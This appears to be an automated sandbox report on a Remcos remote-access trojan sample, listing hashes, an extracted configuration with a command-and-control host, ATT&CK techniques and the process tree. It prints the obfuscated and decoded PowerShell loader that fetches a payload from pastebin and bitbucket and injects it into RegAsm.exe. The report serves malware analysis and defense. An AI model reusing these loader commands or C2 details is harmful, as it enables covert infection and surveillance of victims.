remcos | f81f4cddc306cd06fb2cd456e08cd15e58cc55540fedfd3cc11d62fb74b6cd95

Analysis

max time kernel
298s
max time network
304s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
25-09-2024 06:57

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General

Target

sostener.vbs
Size

4.0MB
MD5

b9b5d25eb96b7de9629b3344aaca4d71
SHA1

e9f07e0dd33c986fc83ddf9e4e702dbb92dbb834
SHA256

f81f4cddc306cd06fb2cd456e08cd15e58cc55540fedfd3cc11d62fb74b6cd95
SHA512

69c1f2de49adc6d4cbc3f74ca83c8b1bdb882d10efd4d891345432e776e6a40d23fe456d23e8c004bc26a2c49a10baedf3255119e57f8e4481804250cfc614e3
SSDEEP

96:D6G7MtM9s/Q8u5QiOK09ALsFckHixZzan9gzdR3s:GSHbO9GsFcCudan9mhs

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://pastebin.com/raw/V9y5Q5vv

Extracted

Family

remcos

Botnet

RemoteHost

remcos2024fin.duckdns.org:4576

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-JKUC8S
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 5 IoCs

flow	pid	Process
2	3968	powershell.exe
3	3968	powershell.exe
6	3968	powershell.exe
7	3968	powershell.exe
8	3968	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2264	powershell.exe
3968	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
1	pastebin.com
1	bitbucket.org
3	pastebin.com
6	bitbucket.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3968 set thread context of 4828	3968	powershell.exe	81

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2264	powershell.exe
2264	powershell.exe
3968	powershell.exe
3968	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2264	powershell.exe
Token: SeDebugPrivilege	3968	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4828	RegAsm.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 3080 wrote to memory of 2264	3080	WScript.exe	78
PID 3080 wrote to memory of 2264	3080	WScript.exe	78
PID 2264 wrote to memory of 3968	2264	powershell.exe	80
PID 2264 wrote to memory of 3968	2264	powershell.exe	80
PID 3968 wrote to memory of 4828	3968	powershell.exe	81
PID 3968 wrote to memory of 4828	3968	powershell.exe	81
PID 3968 wrote to memory of 4828	3968	powershell.exe	81
PID 3968 wrote to memory of 4828	3968	powershell.exe	81
PID 3968 wrote to memory of 4828	3968	powershell.exe	81
PID 3968 wrote to memory of 4828	3968	powershell.exe	81
PID 3968 wrote to memory of 4828	3968	powershell.exe	81
PID 3968 wrote to memory of 4828	3968	powershell.exe	81
PID 3968 wrote to memory of 4828	3968	powershell.exe	81
PID 3968 wrote to memory of 4828	3968	powershell.exe	81
PID 3968 wrote to memory of 4828	3968	powershell.exe	81
PID 3968 wrote to memory of 4828	3968	powershell.exe	81

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J☆Bm☆HY☆e☆Bm☆GU☆I☆☆9☆C☆☆Jw☆w☆Cc☆Ow☆k☆Hk☆egB5☆HE☆cg☆g☆D0☆I☆☆n☆CU☆c☆B6☆EE☆YwBP☆Gc☆SQBu☆E0☆cg☆l☆Cc☆OwBb☆FM☆eQBz☆HQ☆ZQBt☆C4☆TgBl☆HQ☆LgBT☆GU☆cgB2☆Gk☆YwBl☆F☆☆bwBp☆G4☆d☆BN☆GE☆bgBh☆Gc☆ZQBy☆F0☆Og☆6☆FM☆ZQBy☆HY☆ZQBy☆EM☆ZQBy☆HQ☆aQBm☆Gk☆YwBh☆HQ☆ZQBW☆GE☆b☆Bp☆GQ☆YQB0☆Gk☆bwBu☆EM☆YQBs☆Gw☆YgBh☆GM☆aw☆g☆D0☆I☆B7☆CQ☆d☆By☆HU☆ZQB9☆Ds☆WwBT☆Hk☆cwB0☆GU☆bQ☆u☆E4☆ZQB0☆C4☆UwBl☆HI☆dgBp☆GM☆ZQBQ☆G8☆aQBu☆HQ☆TQBh☆G4☆YQBn☆GU☆cgBd☆Do☆OgBT☆GU☆YwB1☆HI☆aQB0☆Hk☆U☆By☆G8☆d☆Bv☆GM☆bwBs☆C☆☆PQ☆g☆Fs☆UwB5☆HM☆d☆Bl☆G0☆LgBO☆GU☆d☆☆u☆FM☆ZQBj☆HU☆cgBp☆HQ☆eQBQ☆HI☆bwB0☆G8☆YwBv☆Gw☆V☆B5☆H☆☆ZQBd☆Do☆OgBU☆Gw☆cw☆x☆DI☆OwBb☆EI☆eQB0☆GU☆WwBd☆F0☆I☆☆k☆Gk☆agBj☆GM☆cw☆g☆D0☆I☆Bb☆HM☆eQBz☆HQ☆ZQBt☆C4☆QwBv☆G4☆dgBl☆HI☆d☆Bd☆Do☆OgBG☆HI☆bwBt☆EI☆YQBz☆GU☆Ng☆0☆FM☆d☆By☆Gk☆bgBn☆Cg☆I☆☆o☆E4☆ZQB3☆C0☆TwBi☆Go☆ZQBj☆HQ☆I☆BO☆GU☆d☆☆u☆Fc☆ZQBi☆EM☆b☆Bp☆GU☆bgB0☆Ck☆LgBE☆G8☆dwBu☆Gw☆bwBh☆GQ☆UwB0☆HI☆aQBu☆Gc☆K☆☆g☆Cg☆TgBl☆Hc☆LQBP☆GI☆agBl☆GM☆d☆☆g☆E4☆ZQB0☆C4☆VwBl☆GI☆QwBs☆Gk☆ZQBu☆HQ☆KQ☆u☆EQ☆bwB3☆G4☆b☆Bv☆GE☆Z☆BT☆HQ☆cgBp☆G4☆Zw☆o☆Cc☆a☆B0☆HQ☆c☆☆6☆C8☆LwBw☆GE☆cwB0☆GU☆YgBp☆G4☆LgBj☆G8☆bQ☆v☆HI☆YQB3☆C8☆Vg☆5☆Hk☆NQBR☆DU☆dgB2☆Cc☆KQ☆g☆Ck☆I☆☆p☆Ds☆WwBz☆Hk☆cwB0☆GU☆bQ☆u☆EE☆c☆Bw☆EQ☆bwBt☆GE☆aQBu☆F0☆Og☆6☆EM☆dQBy☆HI☆ZQBu☆HQ☆R☆Bv☆G0☆YQBp☆G4☆LgBM☆G8☆YQBk☆Cg☆J☆Bp☆Go☆YwBj☆HM☆KQ☆u☆Ec☆ZQB0☆FQ☆eQBw☆GU☆K☆☆n☆FQ☆ZQBo☆HU☆b☆Bj☆Gg☆ZQBz☆Fg☆e☆BY☆Hg☆e☆☆u☆EM☆b☆Bh☆HM☆cw☆x☆Cc☆KQ☆u☆Ec☆ZQB0☆E0☆ZQB0☆Gg☆bwBk☆Cg☆JwBN☆HM☆cQBC☆Ek☆YgBZ☆Cc☆KQ☆u☆Ek☆bgB2☆G8☆awBl☆Cg☆J☆Bu☆HU☆b☆Bs☆Cw☆I☆Bb☆G8☆YgBq☆GU☆YwB0☆Fs☆XQBd☆C☆☆K☆☆n☆HQ☆e☆B0☆C4☆RQBS☆EI☆VQBU☆EM☆TwBS☆EU☆TgBF☆FQ☆UwBP☆FM☆LwBz☆GQ☆YQBv☆Gw☆bgB3☆G8☆Z☆☆v☆G8☆d☆Bz☆G8☆ZwBh☆C8☆cwBz☆G8☆aQB2☆G4☆ZQ☆v☆Gc☆cgBv☆C4☆d☆Bl☆Gs☆YwB1☆GI☆d☆Bp☆GI☆Lw☆v☆Do☆cwBw☆HQ☆d☆Bo☆Cc☆I☆☆s☆C☆☆J☆B5☆Ho☆eQBx☆HI☆I☆☆s☆C☆☆JwBf☆F8☆XwBf☆F8☆XwBf☆GE☆UwBE☆EY☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆Xw☆t☆C0☆LQ☆t☆C0☆LQ☆t☆Cc☆L☆☆g☆CQ☆ZgB2☆Hg☆ZgBl☆Cw☆I☆☆n☆DE☆Jw☆s☆C☆☆JwBS☆G8☆Z☆Bh☆Cc☆I☆☆p☆Ck☆Ow☆=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('☆','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$fvxfe = '0';$yzyqr = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $ijccs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($ijccs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('txt.ERBUTCORENETSOS/sdaolnwod/otsoga/ssoivne/gro.tekcubtib//:sptth' , $yzyqr , '_______aSDF_____________________________________-------', $fvxfe, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3968
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:4828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
e4f9f5606aa6195757f3545ff8f232df

SHA1
f219beb9b3a85bb544ebd8a885aadfe2db4ee255

SHA256
0678ce06c978dc4f57133488b90196949757727d8ace19fe70035034068970d1

SHA512
08b876438dd4bccef76086bfa091c9f7bae9929f95c035e285cb50ccdc827ae88c3b65c717046eef116b50c97447eea2e6a65ccb771f0953e2122ff2eb505467

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
7f803908e5595ac7805479ffa4f4fc41

SHA1
42e1ba3a6f437dfcdaa03d714d56e807910fe69b

SHA256
37b6b80af283174c508fcb8a5faa0854ba1ab2add391502bbd8e81c18df0ad4d

SHA512
a4aff0953c7827d879f94d9503963c04146c94fef8d4183ef1d1479a787339272db362349bdffc4f0235667a9c7daf8a962c8c641c12fd90277e0c4af8dbe04d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_of4pnql2.412.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2264-9-0x000001F6EA130000-0x000001F6EA152000-memory.dmp

Filesize
136KB

Download
memory/2264-10-0x00007FFCFBB50000-0x00007FFCFC612000-memory.dmp

Filesize
10.8MB

Download
memory/2264-11-0x00007FFCFBB50000-0x00007FFCFC612000-memory.dmp

Filesize
10.8MB

Download
memory/2264-12-0x00007FFCFBB50000-0x00007FFCFC612000-memory.dmp

Filesize
10.8MB

Download
memory/2264-34-0x00007FFCFBB50000-0x00007FFCFC612000-memory.dmp

Filesize
10.8MB

Download
memory/2264-22-0x00007FFCFBB53000-0x00007FFCFBB55000-memory.dmp

Filesize
8KB

Download
memory/2264-23-0x00007FFCFBB50000-0x00007FFCFC612000-memory.dmp

Filesize
10.8MB

Download
memory/2264-0-0x00007FFCFBB53000-0x00007FFCFBB55000-memory.dmp

Filesize
8KB

Download
memory/3968-21-0x00000237F3690000-0x00000237F369A000-memory.dmp

Filesize
40KB

Download
memory/3968-24-0x00000237F39F0000-0x00000237F39FA000-memory.dmp

Filesize
40KB

Download
memory/4828-50-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-71-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-35-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-38-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-39-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-44-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-45-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-31-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-25-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-51-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-57-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-58-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-63-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-64-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-69-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-33-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-76-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-77-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-82-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-83-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-89-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-90-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-95-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-96-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-102-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-103-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-108-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-109-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-114-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-116-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-121-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-122-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download